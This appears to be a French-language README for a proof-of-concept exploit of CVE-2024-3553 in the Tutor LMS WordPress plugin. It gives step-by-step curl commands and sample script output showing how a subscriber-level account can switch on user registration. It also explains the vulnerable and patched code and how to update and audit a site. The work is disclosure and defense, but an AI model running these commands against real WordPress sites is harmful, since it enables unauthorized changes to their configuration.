
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
Le plugin Tutor LMS – solution eLearning et de cours en ligne pour WordPress est vulnérable à une modification non autorisée des données en raison d'une vérification de capacité manquante sur la fonction hide_notices() dans toutes les versions jusqu'à la 2.6.2 incluse. Cela permet à des attaquants authentifiés (y compris des utilisateurs à faibles privilèges comme les abonnés) d'activer l'inscription des utilisateurs sur des sites où elle a été désactivée par les administrateurs.
Un exploit Python complet est disponible : exploit-cve-2024-3553-v2.py
# Exploitation automatisée complète
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Vérification du statut d'inscription uniquement
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Prérequis :
Étape 1 : Connexion en tant qu'utilisateur à faibles privilèges
# Connexion en tant qu'abonné ou tout utilisateur authentifié
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Étape 2 : Extraction du nonce depuis la zone d'administration
# Tout utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Étape 3 : Exécution de l'exploit
# Envoi de la requête pour activer l'inscription des utilisateurs
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Étape 4 : Vérification du succès
# Vérifier si l'inscription est maintenant activée
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# En tant qu'utilisateur authentifié, visitez simplement :
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Absence d'autorisation
Cible : https://target.com
======================================================================
[*] Vérification du statut actuel de l'inscription...
[+] L'inscription est actuellement DÉSACTIVÉE
[*] Tentative de connexion en tant que : abonné
[+] Connexion réussie en tant que : abonné
[*] Étape 2 : Extraction du nonce depuis la zone d'administration...
[+] Nonce trouvé : abc123def456
[*] Étape 3 : Exécution de l'exploit pour activer l'inscription des utilisateurs...
[*] Cible : https://target.com
[*] Utilisation du nonce : abc123def456
[*] URL de l'exploit : https://target.com/wp-admin/index.php
[*] Paramètres : {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Statut de la réponse : 200
[+] Requête d'exploit envoyée avec succès !
[*] Étape 4 : Vérification du succès de l'exploitation...
[+] L'inscription est actuellement ACTIVÉE
======================================================================
[!] EXPLOITATION RÉUSSIE !
[!] L'inscription des utilisateurs est maintenant ACTIVÉE
[!]
[!] Impact : Un attaquant avec un compte à faibles privilèges (abonné)
[!] a pu activer l'inscription des utilisateurs sur un site où elle était
[!] désactivée. Cela pourrait permettre la création de comptes supplémentaires,
[!] pouvant potentiellement mener à du spam ou à un accès non autorisé.
======================================================================
Fichier : /classes/User.php (Lignes ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// DÉFAUT CRITIQUE : is_admin() vérifie uniquement si on est dans la zone admin, PAS le rôle utilisateur !
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// AUCUNE VÉRIFICATION DE CAPACITÉ - Tout utilisateur authentifié peut exécuter ceci !
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Points clés de la vulnérabilité :
is_admin() vérifie uniquement que la requête est destinée à une page d'administration, PAS que l'utilisateur est un administrateur/wp-admin/ (même les abonnés)current_user_can('manage_options')users_can_registerFichier : /classes/User.php (Version corrigée)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CORRECTIF DE SÉCURITÉ : Vérification de capacité ajoutée
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Maintenant correctement protégé
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Le correctif ajoute current_user_can('manage_options') pour vérifier que l'utilisateur possède les privilèges d'administrateur avant d'autoriser la mise à jour de l'option.
Cette vulnérabilité démontre une mécompréhension critique des fonctions d'autorisation de WordPress :
FAUX ❌ :
if ( is_admin() ) {
// En pensant que cela signifie 'l'utilisateur est un admin'
update_option( 'sensitive_option', $value );
}
CORRECT ✅ :
if ( current_user_can( 'manage_options' ) ) {
// Vérifie effectivement si l'utilisateur a des capacités d'admin
update_option( 'sensitive_option', $value );
}
Une sécurité WordPress appropriée nécessite plusieurs couches :
L'absence de l'une de ces couches peut entraîner des vulnérabilités.
Pour les administrateurs de sites :
Mettez à jour Tutor LMS vers la version 2.7.0 ou ultérieure immédiatement :
# Via WP-CLI
wp plugin update tutor --version=2.7.0
# Via l'administration WordPress
Tableau de bord → Extensions → Trouver "Tutor LMS" → Cliquer sur "Mettre à jour maintenant"
Auditer les changements récents :
# Vérifier si le paramètre d'inscription a été modifié récemment
wp option get users_can_register
# Examiner les inscriptions récentes
wp user list --orderby=registered --order=DESC --number=20
is_admin() seul pour l'autorisationcurrent_user_can() pour les vérifications de capacitéLors de l'audit des plugins WordPress pour les problèmes d'autorisation :
# 1. Rechercher is_admin() sans vérification de capacité
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Rechercher les mises à jour directes d'options
grep -r "update_option\|add_option" .
# 3. Trouver les gestionnaires AJAX sans vérification de capacité
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - Ce fichierexploit-cve-2024-3553.py - Exploit Python de baseexploit-cve-2024-3553-v2.py - Exploit Python amélioré avec documentation détailléemanual-exploit-cve-2024-3553.sh - Script d'exploitation manuelletest-cve-2024-3553-direct.sh - Script de vérification directeDécouvert le : 2024-04-15 Divulgué le : 2024-05-20 Corrigé le : 2024-05-21 (v2.7.0) Date de test : 2025-12-26 Classification : Validation réussie de la vulnérabilité
| Fonction | Ce qu'elle vérifie réellement | Utilisation sécuritaire |
|---|
is_admin() | Si l'URL actuelle est dans /wp-admin/ | ❌ PAS pour l'autorisation |
current_user_can() | Si l'utilisateur a une capacité spécifique | ✅ Autorisation appropriée |
wp_verify_nonce() | Si la requête est intentionnelle (protection CSRF) | ✅ Mais PAS suffisante seule |